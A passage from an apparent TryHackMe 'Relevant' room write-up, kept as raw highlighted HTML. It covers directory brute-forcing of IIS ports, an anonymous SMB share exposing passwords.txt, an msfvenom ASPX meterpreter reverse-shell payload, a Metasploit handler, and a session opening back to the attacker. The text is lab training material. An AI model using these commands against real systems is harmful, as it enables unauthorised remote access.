&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">title&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">IIS&lt;/span> &lt;span class="n">Windows&lt;/span> &lt;span class="n">Server&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">methods&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="n">Supported&lt;/span> &lt;span class="n">Methods&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">OPTIONS&lt;/span> &lt;span class="n">TRACE&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="n">HEAD&lt;/span> &lt;span class="n">POST&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_&lt;/span> &lt;span class="n">Potentially&lt;/span> &lt;span class="n">risky&lt;/span> &lt;span class="n">methods&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">TRACE&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">_http&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">server&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">header&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Microsoft&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">IIS&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">10.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">49667&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">filtered&lt;/span> &lt;span class="n">unknown&lt;/span> &lt;span class="n">no&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">49669&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">tcp&lt;/span> &lt;span class="n">filtered&lt;/span> &lt;span class="n">unknown&lt;/span> &lt;span class="n">no&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Service&lt;/span> &lt;span class="n">Info&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">OS&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">Windows&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">CPE&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">cpe&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">microsoft&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">windows&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="port-80">Port 80
&lt;/h3>&lt;p>The root just hosts a Microsoft IIS default server, will dirbust with feroxbuster. I generally use two wordlists,&lt;/p>
&lt;ul>
&lt;li>raft-medium-directories-lowercase.txt&lt;/li>
&lt;li>directory-list-2.3-medium.txt&lt;/li>
&lt;/ul>
&lt;p>Deadend!!!&lt;/p>
&lt;h3 id="port-49663">Port 49663
&lt;/h3>&lt;p>Interestingly, I found a endpoint &lt;code>nt4wrksv&lt;/code> with the second list. This machine makes us learn the importance of patience in enumeration, because the directory folder in the second list was at the very last. So i had to go through whole big list to get this endpoint.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span> &lt;span class="n">node&lt;/span> &lt;span class="n">system&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">feroxbuster&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">w&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="n">SECLISTS&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Discovery&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Web&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Content&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">directory&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">list&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mf">2.3&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">medium.txt&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">u&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">C&lt;/span> &lt;span class="mi">400&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">404&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">503&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">n&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">___&lt;/span> &lt;span class="n">___&lt;/span> &lt;span class="n">__&lt;/span> &lt;span class="n">__&lt;/span> &lt;span class="n">__&lt;/span> &lt;span class="n">__&lt;/span> &lt;span class="n">__&lt;/span> &lt;span class="n">___&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span>&lt;span class="n">__&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">__&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">__&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">__&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="err">`&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="err">\&lt;/span> &lt;span class="err">\&lt;/span>&lt;span class="n">_&lt;/span>&lt;span class="o">/&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="err">\&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">__&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">|&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">___&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="err">\&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="err">\&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="err">\&lt;/span>&lt;span class="n">__&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="err">\&lt;/span>&lt;span class="n">__&lt;/span>&lt;span class="o">/&lt;/span> &lt;span class="o">/&lt;/span> &lt;span class="err">\&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">__&lt;/span>&lt;span class="o">/&lt;/span> &lt;span class="o">|&lt;/span>&lt;span class="n">___&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">by&lt;/span> &lt;span class="n">Ben&lt;/span> &lt;span class="s2">&amp;#34;epi&amp;#34;&lt;/span> &lt;span class="n">Risher&lt;/span> &lt;span class="err">🤓&lt;/span> &lt;span class="n">ver&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">2.10.3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">───────────────────────────┬──────────────────────&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🎯&lt;/span> &lt;span class="n">Target&lt;/span> &lt;span class="n">Url&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🚀&lt;/span> &lt;span class="n">Threads&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="mi">50&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">📖&lt;/span> &lt;span class="n">Wordlist&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">Users&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">vikas&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">hacking&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">SecLists&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Discovery&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Web&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Content&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">directory&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">list&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mf">2.3&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">medium.txt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">💢&lt;/span> &lt;span class="n">Status&lt;/span> &lt;span class="n">Code&lt;/span> &lt;span class="n">Filters&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">400&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">404&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">503&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">💥&lt;/span> &lt;span class="n">Timeout&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">secs&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="mi">7&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🦡&lt;/span> &lt;span class="n">User&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Agent&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="n">feroxbuster&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="mf">2.10.3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🔎&lt;/span> &lt;span class="n">Extract&lt;/span> &lt;span class="n">Links&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🏁&lt;/span> &lt;span class="n">HTTP&lt;/span> &lt;span class="n">methods&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">GET&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🚫&lt;/span> &lt;span class="n">Do&lt;/span> &lt;span class="n">Not&lt;/span> &lt;span class="n">Recurse&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="kc">true&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🎉&lt;/span> &lt;span class="n">New&lt;/span> &lt;span class="n">Version&lt;/span> &lt;span class="n">Available&lt;/span> &lt;span class="err">│&lt;/span> &lt;span class="n">https&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="n">github.com&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">epi052&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">feroxbuster&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">releases&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">latest&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">───────────────────────────┴──────────────────────&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="err">🏁&lt;/span> &lt;span class="n">Press&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">ENTER&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">to&lt;/span> &lt;span class="n">use&lt;/span> &lt;span class="n">the&lt;/span> &lt;span class="n">Scan&lt;/span> &lt;span class="n">Management&lt;/span> &lt;span class="n">Menu&lt;/span>&lt;span class="err">™&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">──────────────────────────────────────────────────&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">404&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">l&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">w&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="n">Auto&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">filtering&lt;/span> &lt;span class="n">found&lt;/span> &lt;span class="mi">404&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">like&lt;/span> &lt;span class="n">response&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">created&lt;/span> &lt;span class="n">new&lt;/span> &lt;span class="n">filter&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="n">toggle&lt;/span> &lt;span class="n">off&lt;/span> &lt;span class="n">with&lt;/span> &lt;span class="c1">--dont-filter&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">200&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="mi">334&lt;/span>&lt;span class="n">l&lt;/span> &lt;span class="mi">2089&lt;/span>&lt;span class="n">w&lt;/span> &lt;span class="mi">180418&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">iisstart.png&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">200&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="mi">32&lt;/span>&lt;span class="n">l&lt;/span> &lt;span class="mi">55&lt;/span>&lt;span class="n">w&lt;/span> &lt;span class="mi">703&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">301&lt;/span> &lt;span class="n">GET&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="n">l&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="n">w&lt;/span> &lt;span class="mi">157&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">nt4wrksv&lt;/span> &lt;span class="o">=&amp;gt;&lt;/span> &lt;span class="n">http&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="o">//&lt;/span>&lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49663&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">nt4wrksv&lt;/span>&lt;span class="o">/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">cat&lt;/span> &lt;span class="err">$&lt;/span>&lt;span class="n">SECLISTS&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Discovery&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Web&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">Content&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">directory&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">list&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mf">2.3&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="n">medium.txt&lt;/span> &lt;span class="o">|&lt;/span> &lt;span class="n">grep&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="kr">in&lt;/span> &lt;span class="s2">&amp;#34;nt4wrksv&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="mi">220538&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">nt4wrksv&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="port-445">Port 445
&lt;/h3>&lt;p>It has a share &lt;code>nt4wrksv&lt;/code> available with anonymous access(Note: the same folder is available from port 49663)
It has a passwords.txt file. This passwords.txt file is also accessible from port 49663. This is a serious vulnerability. I can now upload an aspx reverse shell(since windows) in smb share, then access it from port 49663 to execute it.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">smbclient&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">L&lt;/span> &lt;span class="err">\\\\&lt;/span>&lt;span class="mf">10.10.171.47&lt;/span>&lt;span class="err">\\&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">U&lt;/span> &lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Password&lt;/span> &lt;span class="kr">for&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">WORKGROUP&lt;/span>&lt;span class="err">\&lt;/span>&lt;span class="p">]:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Sharename&lt;/span> &lt;span class="n">Type&lt;/span> &lt;span class="n">Comment&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">--------- ---- -------&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ADMIN&lt;/span>&lt;span class="err">$&lt;/span> &lt;span class="n">Disk&lt;/span> &lt;span class="n">Remote&lt;/span> &lt;span class="n">Admin&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">C&lt;/span>&lt;span class="err">$&lt;/span> &lt;span class="n">Disk&lt;/span> &lt;span class="n">Default&lt;/span> &lt;span class="n">share&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IPC&lt;/span>&lt;span class="err">$&lt;/span> &lt;span class="n">IPC&lt;/span> &lt;span class="n">Remote&lt;/span> &lt;span class="n">IPC&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">nt4wrksv&lt;/span> &lt;span class="n">Disk&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SMB1&lt;/span> &lt;span class="n">disabled&lt;/span> &lt;span class="c1">-- no workgroup available&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I used msfvenom to generate an aspx shell so as to recieve a meterpreter shell. This is the alternate reverse shell to use if you want a nc session: &lt;a class="link" href="https://gist.githubusercontent.com/qtc-de/19dfc9018685fce1ba2092c8e2382a79/raw/6d4df39b991b6fe54c606eee45483b17cdd09c4c/aspx-reverse-shell.aspx" target="_blank" rel="noopener"
>&lt;code>qtc-de&lt;/code>&lt;/a>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">msfvenom&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="n">windows&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">x64&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">meterpreter_reverse_tcp&lt;/span> &lt;span class="n">lhost&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">IP&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">lport&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">PORT&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">f&lt;/span> &lt;span class="n">aspx&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="n">o&lt;/span> &lt;span class="n">shell.aspx&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Then started a handler in msfconsole,&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">msf6&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">use&lt;/span> &lt;span class="n">exploit&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">multi&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">handler&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">msf6&lt;/span> &lt;span class="n">exploit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">multi&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">handler&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">set&lt;/span> &lt;span class="n">payload&lt;/span> &lt;span class="n">windows&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">x64&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">meterpreter_reverse_tcp&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">msf6&lt;/span> &lt;span class="n">exploit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">multi&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">handler&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">set&lt;/span> &lt;span class="n">lhost&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">IP&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">msf6&lt;/span> &lt;span class="n">exploit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">multi&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">handler&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">set&lt;/span> &lt;span class="n">lport&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">PORT&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">msf6&lt;/span> &lt;span class="n">exploit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">multi&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">handler&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">run&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Started&lt;/span> &lt;span class="n">reverse&lt;/span> &lt;span class="n">TCP&lt;/span> &lt;span class="n">handler&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">IP&lt;/span>&lt;span class="p">]:&lt;/span>&lt;span class="mi">4444&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Uploading the shell file in the &lt;code>nt4wrksv&lt;/code> smb share.(Do change your attack ip and port in the shell.aspx file.)
I uploaded shell.aspx file with put command and queried the shell file from browser, got shell and also &lt;code>user.txt&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="o">~/&lt;/span>&lt;span class="n">Pentesting&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">Tryhackme&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">relevant&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">msf6&lt;/span> &lt;span class="n">exploit&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">multi&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">handler&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">run&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Started&lt;/span> &lt;span class="n">reverse&lt;/span> &lt;span class="n">TCP&lt;/span> &lt;span class="n">handler&lt;/span> &lt;span class="n">on&lt;/span> &lt;span class="mf">10.14.82.36&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4444&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">[&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="n">Meterpreter&lt;/span> &lt;span class="n">session&lt;/span> &lt;span class="mi">1&lt;/span> &lt;span class="n">opened&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mf">10.14.82.36&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">4444&lt;/span> &lt;span class="o">-&amp;gt;&lt;/span> &lt;span class="mf">10.10.178.5&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">49732&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">at&lt;/span> &lt;span class="mi">2024&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">06&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">17&lt;/span> &lt;span class="mi">02&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">36&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="mi">23&lt;/span> &lt;span class="o">+&lt;/span>&lt;span class="mi">0530&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">meterpreter&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">getuid&lt;/span>
